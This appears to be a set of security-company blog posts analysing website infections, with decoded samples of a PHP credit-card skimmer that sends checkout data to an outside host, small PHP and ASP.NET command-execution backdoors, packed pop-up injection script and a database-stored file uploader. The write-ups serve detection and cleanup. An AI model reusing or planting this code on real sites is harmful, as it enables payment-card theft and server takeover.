One, two, three… CC stolen!

Attackers work hard to make their code very well hidden from the victim and antivirus products, however they might leave some fingerprints (usually not on purpose) that can make the infection easier to detect and remediate.


One case in particular was from an ecommerce website that had “123” displayed at the top of it. After some investigation, we were able to find the following line in the ./.htaccess file:

php_value auto_prepend_file "/var/www/vhosts/site.com/public_html/.htaccess BKP 010515"

In a .htaccess with hundreds of lines (like the one from this case), that line might go unnoticed. The auto_prepend directive will load “a file that is automatically parsed before the main file. The file is included as if it was called with the require function, so include_path is used.” (source).

When checking the ./.htaccess BKP 010515 file, we found the following:

<script language="php">@error_reporting(0);$a_x="x63x72x65x61x74x65x5fx66x75x6ex63x74x69x6fx6e";$b_x='ba'.'se'.'6'.'4'.'_d'.'e'."co".'de';$n_x=$a_x('',$b_x('aWYoIWVtcHR5KCRfUE9TVFsnYmlsbGluZ19maXJzdF9uYW1lJ10pIGFu...aG8gMTIzOw=='));@$n_x();</script>

Which, once decoded, turns into:

if(!empty($_POST['billing_first_name']) and !empty($_POST['billing_last_name'])) {$_xPOST['billing_first_name'] = trim($_POST['billing_first_name']);$_xPOST['billing_last_name'] = trim($_POST['billing_last_name']);}if(!empty($_POST['ccnum']) and !empty($_xPOST['billing_first_name']) and !empty($_xPOST['billing_last_name'])){$ch = false;$z = 'base6'.'4_d'.'eco'.'de';$header[]="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";$header[]="Accept-Language: en-US,en;q=0.5";$header[]="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7";@$ch=curl_init($z('aHR0cDovL3lhaG9vcy5jYy9jaGVjay9hamF4LnBocD9jPQ==').urlencode($_POST['ccnum']).'&c2='.$_POST['cvv'].'&amp;name='.urlencode($_xPOST['billing_first_name']." ".$_xPOST['billing_last_name']).'&month='.urlencode($_POST['expmonth']).'&year='.urlencode($_POST['expyear']).'&address='.urlencode($_POST['billing_address_1']." ".$_POST['billing_address_2']).'&city='.urlencode($_POST['billing_city']).'&country='.urlencode($_POST['billing_country']).'&state='.urlencode($_POST['billing_state']).'&zip='.$_POST['billing_postcode'].'&phone='.urlencode($_POST['billng_phone']).'&cd='.urlencode($_SERVER['HTTP_HOST']));if($ch){curl_setopt($ch,CURLOPT_ENCODING,'utf-8');curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36');curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);@curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,0);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_TIMEOUT,11);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,7);curl_setopt($ch,CURLOPT_HTTPHEADER,$header);@curl_exec($ch); @curl_close($ch);}}echo 123;

When a client from the victim’s website fills out information on the checkout page, like credit card details, that code sends it (through curl) to hXXp://yahoos[.]cc/check/ajax[.]php, passing the details through GET requests.

You may also notice that code is responsible for the “123” on the victim’s website. Once .htaccess BKP 010515 cleared up, the “123” disappeared.

If you’re experiencing similar problems and would like them fixed by security experts, let us know.

Backdoor abusing of PHP tricks

During an incident response process, we found a very interesting malicious code abusing some PHP tricks. Attackers placed the malware at the end of a WordPress core file ‘./wp-includes/pomo/entry.php’:

$data=file_get_contents("php://input");echo`$data`;


Although a very small code, the snippet above can actually be a powerful backdoor if shell_exec is enabled on the server. Let’s analyze its two steps for remote code execution:

$data=file_get_contents("php://input");

This part is a known way for backdoors to get data from a POST request. The PHP documentation explains what that php://input stands for:

.

php://input is a read-only stream that allows you to read raw data from the request body. 
In the case of POST requests, it is preferable to use php://input instead of $HTTP_RAW_POST_DATA
as it does not depend on special php.ini directives.
Moreover, for those cases where $HTTP_RAW_POST_DATA is not populated by default, it is a
potentially less memory intensive alternative to activating always_populate_raw_post_data.
php://input is not available with enctype="multipart/form-data".

Once we assign a value to the $data variable, we can now take a closer look on the second step:

echo`$data`;

The main detail here is the use of backticks (they’re not single quotes!), which have a special purpose on such php code. See what PHP documentation says about them:

PHP supports one execution operator: backticks (``). Note that these are not single-quotes! 
PHP will attempt to execute the contents of the backticks as a shell command;
the output will be returned (i.e., it won't simply be dumped to output;
it can be assigned to a variable).
Use of the backtick operator is identical to shell_exec().

So in that last part of the code, we’ll have the command stored in $data executed like shell_exec($data) before it’s echo’ed. Using this method, attackers can execute arbitrary remote commands into the system and reinfect it while the code is still active.

As the malware was inserted into a WordPress core file, this could have been easily detected by the file integrity monitoring system in our Sucuri Scanner WordPress Plugin and addressed very quickly. We also recommend keeping regular backups just in case you need to revert your website to an earlier clean stage.

If you need professional assistance on cleaning up malware and backdoors, please let us know, we would be happy to help you.

Backdoors abusing of spaces

Lately we’ve seen more backdoors that have some specific characteristics, like using several spaces between the code and processing information coming from POST requests. Attackers use the “spacing” technique to avoid visual detection in text editors when the “word wrapping” function is deactivated.

The backdoors we are discussing today have been found mainly in WordPress platforms. Although they may have different names and can be placed in different directories, most of them can be found residing on the website’s root having a name like framework.lovely.php, framework.railroad.php, framework.ping.php and so on.


The following images are the two main variations of this malware:

1st sample - ./class.football.php

2nd sample - ./wp-content/mu-plugins/framework.terrible.php

Although they look different, their functionality is very similar. On the first sample, they import the PHP variables ($d, $f, $s and $m) into the current symbol table from $_POST through the extract PHP function, while the second sample gets the information directly from the HTTP POST variables.

Checking the second sample closer, the file was placed inside the wp-content/mu-plugins directory. That is the WordPress’s Must Use Plugins, so the backdoor was being loaded along with mu-plugins directory (no direct access to the file was needed). However, if no variable was sent via HTTP POST method, the website would return a “white screen of death” due to the exit; call in line 18.

Giving an even closer look at it, you can guess with a high chance of being correct, which functions are set as values for those r, d and f variables: “eval”, “implode”, and “array”, respectively. The c value can be the elements of an array that will be joined to create the command to be executed.

If you want to be sure that you don’t have any of those backdoors on your website or if you need help cleaning it up, let us know.

Malicious Pop-ups in vBulletin

Pop-up ads are annoying. Unfortunately many sites rely on them to pay for their operational expenses and even to make some extra cash. However when you see pop-ups on your own site and you never added such ads yourself, you know that something is wrong.

Recently, an owner of a vBulletin forum asked us to help remove unwanted popups from their site. We noticed that web pages made requests to is[.]gd/KHoxPa and is[.]gd/a8nxlP, which in turn loaded ad scripts from onclickads[.]net and go.pushnative[.]com.

Upon further investigation, we found the following code injected into clientscript/yui/yuiloader-dom-event/yuiloader-dom-event.js:


eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){ ...skipped... 'script|type|write|document|text|src|KHoxPa|gd|is|javascript'.split('|'),0,{}))eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){ ... skipped...'script|write|document|src|is|a8nxlP|gd'.split('|'),0,{}))

We often see the JS Packer compression (it generates these eval(function(p,a,c,k,e,d)... scripts) used by hackers to obfuscate their malicious code.

The decoded version:

document .write("<script type='text/javascript' src='//is[.]gd/KHoxPa'></script>");document .write("<script src="//is[.]gd/a8nxlP"></script>");

After removing that code, the pop-ups have gone away. As usual, our work was not limited with cleaning that yuiloader-dom-event.js file. To make sure the site was safe and couldn’t be reinfected, we scanned it for backdoors and all other known security problems, helping the site owner identify security holes that should be closed. If you’re facing a similar problem with popups or other security issues, let us know.

Fake WordPress Installs and Sunglasses Spam

Spammers are constantly looking for ways make use of resources of hacked sites in their black hat SEO schemes. In most cases, spam injections and doorway script are quite hard to detect but in this example attackers didn’t worry much about that aspect.

The technique consists of abusing server resources (storage and database) by installing spammy WordPress sites (Oakley and Ray Ban spam in our case) in subdirectories of the original site and providing additional scripts to automate WordPress management (they probably don’t know about the XML-RPC API).

During our investigation, we identified common patterns between different infected websites with this type of injection.


  • 1. The attackers added 2 directories in the root (./oakleyer and ./raybaner) with WordPress installations (v4.0.12)
  • 2. Attackers took the database credentials from the original site’s wp-config.php, and used different table prefixes for the spammy WordPress sub-sites.
  • 3. There were also four specific files that helped automate blog management in both ./oakleyer/wp-admin and ./raybaner/wp-admin:
    • etchk.php - verifies if there is a post in the database with a given title.
    • etpost.php - creates or updates spam posts in the database.
    • etreply.php - posts comments.
    • map.php - creates sitemaps for the SPAM sub-sites.

If you see unrelated search queries in Google Search Console or the [site:you-site-domain-here.com cheap] search returns pages that don’t belong to your site, it’s a strong indication of a SEO hack.

In this case, it was easy to notice the malicious directories in the site root. You still need to regularly log in and visually inspect the directory structure. A more reliable approach is integrity monitoring of your server file structure or whole security monitoring solutions.

JScript ASP.NET Backdoor

Backdoors can be simple and powerful at the same time. They’re also very common to be seen along with any kind of infection so that an attacker can get unauthorized access to the server and, although you try to clean the whole malicious content from your website, they can be used to reinfect it again and again.

Here is a small example of an ASP.NET backdoor in a website running on IIS:


<script runat="server" language="JScript">function popup(str) {var q = "u";var w = "afe";var a = q + "ns" + w;var b= eval(str,a);return(b);}</script>

The code above executes whatever command you pass as argument through the str parameter. Note that the eval function is using a second parameter, which is "unsafe”, so the eval method can be executed in the same security context as the calling code.

The code above doesn’t do much alone. The declared popup function must be used somewhere. Indeed, if you scroll down the file you will see a small piece of code trying to hide itself

popup(popup(System.Text.Encoding.Default.GetString(System.Convert.FromBase64String(&quoteUmVxdWVzdC5JdGVtWyJzeW15aGsiXQ=="))));

You can see that the popup function is being called twice. The inner call retrieves the value of the symyhk request parameter ( Request.Item["symyhk"] is the base64 encoded part). The outer call executes the code passed in the symyhk parameter.

This technique is used to reinfect ASP websites and, in the case where we got this code from, the main default.asp was being overwritten with spam. No matter how many times the default.asp was restored, the malicious code would reappear in the file until the backdoor was removed. If you need help cleaning it up and protecting your website, let us know.

File Uploader in Drupal Database

It’s very common to see backdoors such as uploaders among site’s files. However, we have seen more often cases where file uploaders, mainly in Drupal websites, are located in the database. Many anti-malware products won’t catch those since they usually look only the files and don’t check the database content. Below is an example of a file uploader found in an entry of an Drupal database:

<?php
echo '<title>Uploader</title>';
echo '<center><font color="#11f0f3"><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"></center>';
echo '<center><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form></font><center>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<center><br><br><b><font color="#11f0f3">UPLOAD SUCCESS!</font></b></center><br><br>'; }
else { echo '<center><br><br><b><font color="#f31111">UPLOAD FAILED!</font></b></center><br><br>'; }
}
?>

The code above was embedded in a malicious post created by the attacker, as you can see in the following screenshot:

The code itself is simple as it just accepts a generic file upload and pushes to the root of the site. However, if the database is not properly inspected in your Drupal website, you can be reinfected even after a deep inspection of your files.

If your site is currently infected and you need help cleaning it up, let us know.